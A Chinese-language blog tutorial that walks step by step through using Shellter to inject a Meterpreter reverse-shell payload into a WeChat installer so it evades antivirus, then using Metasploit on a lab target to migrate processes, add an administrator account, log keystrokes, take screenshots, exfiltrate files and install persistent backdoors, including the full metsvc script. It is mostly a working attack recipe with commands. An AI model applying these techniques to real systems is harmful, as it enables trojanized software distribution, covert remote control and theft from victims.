动态Shellcode注入工具之Shellter,成功绕过杀软

by LauCyun Dec 03,2015 09:31:57 9,469 views

0x0 前言

Shellter是什么?

这是一款真正意义上的动态Shellcode注入工具。“动态”二字就能够说明注入代码不可能存在于规则严格的地方,例如可执行文件的入口点等。Shellter目前仅支持32位可执行文件。

如何选择注入点?

注入点是基于可执行文件的执行流程,实际上Shellter会追踪应用程序的用户空间执行流程,记录下这些指令,可执行文件发生注入的位置区间。完成追踪之后,Shellter将基于注入代码的大小过滤执行流程,并且有多种过滤参数可得出有效的注入点。

Shellter还提供了其他特性?

对于反病毒软件绕过来说,避免使用静态注入点是非常重要的。但是,Shellter的能力并不仅限于此,它能提供某些额外的高级功能。

兼容Windows XP3及以上,以及Wine/CrossOver for Linux/Mac
便携式--无须安装
不需要额外的依赖(python, .net, etc…).
不影响输出大小(输入及输出)
没有静态PE模板,框架包装等
支持所有32位的有效载荷(通过metasploit生成或用户定制)
支持所有的编码
支持用户创建的自定义编码
废弃代码多变引擎
用户可自定义多变代码
利用动态线程背景信息防止静态分析--目前仅手动模式
检测自修改代码
追踪单线程或多线程应用程序
基于执行流程的位置进行动态注入
反汇编向用户显示可用注射点
用户可自主选择如何注入,何时注入,在哪里进行注入
命令行注入
最重要的是免费

即将发布的新版Shellter将会带有更多额外的功能,该版本的Shellter将会在BsidesLisbon 2015上进行正式的公开发布。

实验环境

  • Kali Linux 2.0(攻击机)
    • IP地址:172.16.11.103
    • 端口:2015
  • Windows 7(靶机)
    • IP地址:172.16.11.24
  • WeChat1.5.exe
  • Shellter 5.8
  • Metasploit

0x1 磨刀

思路:首先需要一个正常的exe可执行文件,然后它会将shellcode添加进去,这样就可以成功地修改这个文件并且使其绕过反病毒软件的监测了。我使用Kali 2.0作为主机,另外一台Windows 7作为靶机。

下载shellter地址:https://www.shellterproject.com/download/


图1 Shellter下载页面

把下载下来的文件保存在了C:\Users\Administrator\Desktop目录中。


图2 Shellter内容

在这里我用WeChat1.5.exe安装包为例,然后将其拷贝至Shellter的文件夹中。


图3 WeChat1.5.exe拷贝至Shellter的文件夹中

打开cmd,切换到C:\Users\Administrator\Desktop\shellter目录。


图4 打开cmd

0x2 砍柴

从终端启动shellter,输入shellter.exe启动Shellter:


图5  启动Shellter

在选择操作模式时,选择A(启用自动模式):


图6 选择操作模式

在提示PE目标时,选择WeChat1.5.exe


图7  选择PE目标

当询问是否启用隐身模式时,选择Y


图8 启用隐身模式

在隐身模式新功能下,后门文件仍然具有原始文件的功能。

在选择现有的payload或自定义时,选择L然后选择1([1] Meterpreter_Reverse_TCP)


图9 选择payload

设置可以让目标主机连接的IP地址(当目标主机不在同一个局域网内时,就需要是一个公共IP地址,特别为反弹式shell使用)、端口:


图10 设置目标主机连接的IP地址、端口

Shellter将会在WeChat1.5.exe中注入shellcode,这时你可能需要稍等一会儿。然后,你就可以看到:


图11 Shellcode注入过程

这时你会在Shellter目录发现两个文件:WeChat1.5.exe(这个是被注入shellcode的后门文件)WeChat1.5.exe.bak(这个是原来的正常文件)。

与注入shellcode之前的程序相比,经过处理的后门程序的大小与原程序在大小上是完全一样的!更为重要的是把后门程序传到Virustotal网站并没有报毒。


图12  Virustotal检测报告(完整版报告

0x3 捆柴

现在,我们用Metasploit来使用和之前相同的一些参数启动一个监听服务:

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set lhost 172.16.11.103
lhost => 172.16.11.103
msf exploit(handler) > set lport 2015
lport => 2015
msf exploit(handler) > exploit


图13 设置、启动监听服务

把WeChat1.5.exe复制到靶机(Windows系统),并运行WeChat1.5.exe,这时Metasploit也得到了一个Session:


图14 成功捆柴

0x4 烧柴

1 获取系统信息

meterpreter > sysinfo


图15 目标主机的系统信息

2 进程迁移

当攻击成功后,需要将连接进程从WeChat1.5.exe迁移至更加稳定的进程(以explorer.exe为例),方可长久控制。

查看靶机的进程:

meterpreter > ps


图16 目标主机的进程

将连接进程从进程WeChat1.5.exe迁移至notepad.exe

meterpreter > run post/windows/manage/migrate  


图17 迁移进程


图18 进程成功迁移至notepad.exe

或者使用migrate+pid:

meterpreter > migrate 432


图19 进程迁移到winlogon.exe (432)

3 运行靶机的cmd

执行shell来执行靶机的cmd:

meterpreter > shell


图20 打开cmd

执行net user对靶机进行帐户操作:

C:\Users\Administrator\Desktop>net user


图21 目标主机的用户

C:\Users\Administrator\Desktop>net user lt 123 /add


图22 创建新帐户

C:\Users\Administrator\Desktop>net localgroup administrators lt /add


图23 将lt帐户提权为管理员

4 监控键盘

执行run post/windows/capture/keylog_recorder对靶机进行监控键盘:

meterpreter > run post/windows/capture/keylog_recorder


图24 启动键盘监控


图25 键盘监控记录

5 信息收集

(1)download注册表、网络设置等信息

脚本scraper,它将目标机器上的常见信息收集起来然后下载保存在本地。

meterpreter > run scraper


图26 信息收集

将结果保存在/.msf4/logs/scripts/scraper/下。


图27 收集结果

(2)截屏

执行screenshot对靶机进行截屏:


图28 执行screenshot命令


图29 执行screenshot命令截屏的结果

6 文件上传下载

(1)执行upload上传文件到靶机指定目录:

meterpreter > upload /root/1.txt c:/hacked_dec_2_2015/1.txt


图30 上传文件

(2)执行download下载靶机的文件:

meterpreter > download list /root/Downloads/Users/Administrator/Desktop/list


图31 下载文件

7 安装后门

metasploit自带的后门有两种方式启动的:一种是通过服务启动(metsvc);一种是通过启动项启动(persistence) ,优缺点各异:metsvc是通过服务启动,但是服务名是meterpreter

(1)通过服务启动(metsvc)。其脚本metsvc.rb(/usr/share/metasploit-framework/scripts/meterpreter)代码为:

##
# WARNING: Metasploit no longer maintains or accepts meterpreter scripts.
# If you'd like to imporve this script, please try to port it as a post
# module instead. Thank you.
##
#
# Meterpreter script for installing the meterpreter service
#
session = client
#
# Options
#
opts = Rex::Parser::Arguments.new(
  "-h"  => [ false,  "This help menu"],
  "-r"  => [ false,  "Uninstall an existing Meterpreter service (files must be deleted manually)"],
  "-A"  => [ false,  "Automatically start a matching exploit/multi/handler to connect to the service"]
)
# Exec a command and return the results
def m_exec(session, cmd)
  r = session.sys.process.execute(cmd, nil, {'Hidden' => true, 'Channelized' => true})
  b = ""
  while(d = r.channel.read)
    b << d
  end
  r.channel.close
  r.close
  b
end
#
# Default parameters
#
based    = File.join(Msf::Config.data_directory, "meterpreter")
rport    = 31337
install  = false
autoconn = false
remove   = false
if client.platform =~ /win32|win64/
  #
  # Option parsing
  #
  opts.parse(args) do |opt, idx, val|
    case opt
    when "-h"
      print_line(opts.usage)
      raise Rex::Script::Completed
    when "-A"
      autoconn = true
    when "-r"
      remove = true
    end
  end
  #
  # Create the persistent VBS
  #
  if(not remove)
    print_status("Creating a meterpreter service on port #{rport}")
  else
    print_status("Removing the existing Meterpreter service")
  end
  #
  # Upload to the filesystem
  #
  tempdir = client.fs.file.expand_path("%TEMP%") + "\\" + Rex::Text.rand_text_alpha(rand(8)+8)
  print_status("Creating a temporary installation directory #{tempdir}...")
  client.fs.dir.mkdir(tempdir)
  # Use an array of `from -> to` associations so that things
  # such as metsrv can be copied from the appropriate location
  # but named correctly on the target.
  bins = {
    'metsrv.x86.dll'    => 'metsrv.dll',
    'metsvc-server.exe' => nil,
    'metsvc.exe'        => nil
  }
  bins.each do |from, to|
    next if (from != "metsvc.exe" and remove)
    to ||= from
    print_status(" >> Uploading #{from}...")
    fd = client.fs.file.new(tempdir + "\\" + to, "wb")
    path = (from == 'metsrv.x86.dll') ? MetasploitPayloads.meterpreter_path('metsrv','x86.dll') : File.join(based, from)
    fd.write(::File.read(path, ::File.size(path)))
    fd.close
  end
  #
  # Execute the agent
  #
  if(not remove)
    print_status("Starting the service...")
    client.fs.dir.chdir(tempdir)
    data = m_exec(client, "metsvc.exe install-service")
    print_line("\t#{data}")
  else
    print_status("Stopping the service...")
    client.fs.dir.chdir(tempdir)
    data = m_exec(client, "metsvc.exe remove-service")
    print_line("\t#{data}")
  end
  if(remove)
    m_exec(client, "cmd.exe /c del metsvc.exe")
  end
  #
  # Setup the exploit/multi/handler if requested
  #
  if(autoconn)
    print_status("Trying to connect to the Meterpreter service at #{client.session_host}:#{rport}...")
    mul = client.framework.exploits.create("multi/handler")
    mul.datastore['WORKSPACE'] = client.workspace
    mul.datastore['PAYLOAD'] = "windows/metsvc_bind_tcp"
    mul.datastore['LPORT']   = rport
    mul.datastore['RHOST']   = client.session_host
    mul.datastore['ExitOnSession'] = false
    mul.exploit_simple(
      'Payload'        => mul.datastore['PAYLOAD'],
      'RunAsJob'       => true
    )
  end
else
  print_error("This version of Meterpreter is not supported with this Script!")
  raise Rex::Script::Completed
end

这里需要上传三个文件,然后用metsvc.exe安装服务。不知道服务名能不能通过修改metsvc.exe达到。 

安装过程:

meterpreter > run metsvc -A


图32 安装metsvc.exe服务

下次回连时使用windows/metsvc_bind_tcp的payload就可以。

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/metsvc_bind_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set rhost 172.16.11.24
lhost => 172.16.11.24
msf exploit(handler) > set lport 31337
lport => 31337
msf exploit(handler) > exploit

(2)通过启动项启动(persistence

meterpreter > run persistence -X -i 30 -p 443 -r 172.16.11.103
# -X(开机启动) -i [连接超时时间] –p [端口] –r [IP]


图33  persistence

默认没启动,目标机重启后,可以成功获得meterpreter shell 。

msf > use exploit/multi/handler
msf exploit(handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf exploit(handler) > set LHOST 172.16.11.103
LHOST => 172.16.11.103
msf exploit(handler) > set LPORT 443
LPORT => 443
msf exploit(handler) > exploit


图34  meterpreter shell连接成功

但是,但是...上面这两种后门的效果都不太理想,为此,我们应该使用自定义的后门。

Tags